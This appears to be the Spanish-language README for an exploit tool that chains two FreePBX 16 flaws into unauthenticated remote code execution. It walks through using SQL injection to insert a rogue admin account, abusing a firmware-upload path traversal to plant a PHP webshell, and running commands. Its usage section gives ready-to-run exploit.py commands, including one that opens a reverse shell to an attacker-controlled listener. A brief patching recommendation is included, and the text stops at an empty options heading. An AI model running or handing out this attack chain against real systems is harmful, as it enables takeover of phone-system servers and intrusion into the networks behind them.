FreePBX 16 — Unauthenticated SQLi to RCE

Resumen: Este documento muestra cómo combinar dos vulnerabilidades de FreePBX 16 (CVE-2025-57819 y CVE-2025-61678) para lograr una cadena de ataque completa que permite escalar desde el acceso no autenticado hasta la ejecución remota de código (Remote Code Execution, RCE).

Información de las vulnerabilidades CVE

Principio y proceso del ataque

Crear la cuenta de administrador (CVE-2025-57819)

Al desencadenar la vulnerabilidad de inyección SQL apilada no autenticada a través del cargador de módulos con espacio de nombres (Namespaced Endpoint Loader), se escribe directamente una cuenta de administrador nueva con todos los privilegios en la tabla ampusers.

Autenticación (Authentication)

Utilice las credenciales de administrador recién creadas para iniciar sesión en la interfaz de administración de FreePBX.

Escribir el WebShell (CVE-2025-61678)

Se abusa de la función de carga de firmware de Endpoint Manager y, combinándola con la vulnerabilidad de path traversal del parámetro fwbrand (../../../var/www/html/<dir>), se escribe directamente un WebShell en PHP en el directorio raíz del sitio web.

Ejecución de comandos (Execution)

Invoque el WebShell desplegado para ejecutar un único comando del sistema o establezca una Reverse Shell interactiva.

Versiones afectadas y recomendaciones de corrección

Versiones afectadas:

• FreePBX 16 (versión del módulo Endpoint anterior a 16.0.92)
• FreePBX 17 (corregida en la versión 17.0.6; versiones anteriores afectadas)

Recomendación de corrección: actualice lo antes posible a la última versión parcheada.

Instrucciones de uso (Usage)

# Ejecutar un solo comando
python3 exploit.py --rhost pbx.example.com --command "id"

# Crear una Reverse Shell interactiva (escucha automática con pwntools)
python3 exploit.py --rhost pbx.example.com --lhost 10.0.0.5 --lport 4444

# Usar HTTP simple con un puerto personalizado
python3 exploit.py --rhost pbx.example.com --http --rport 80 --command "uname -a"

Descripción de parámetros (Options)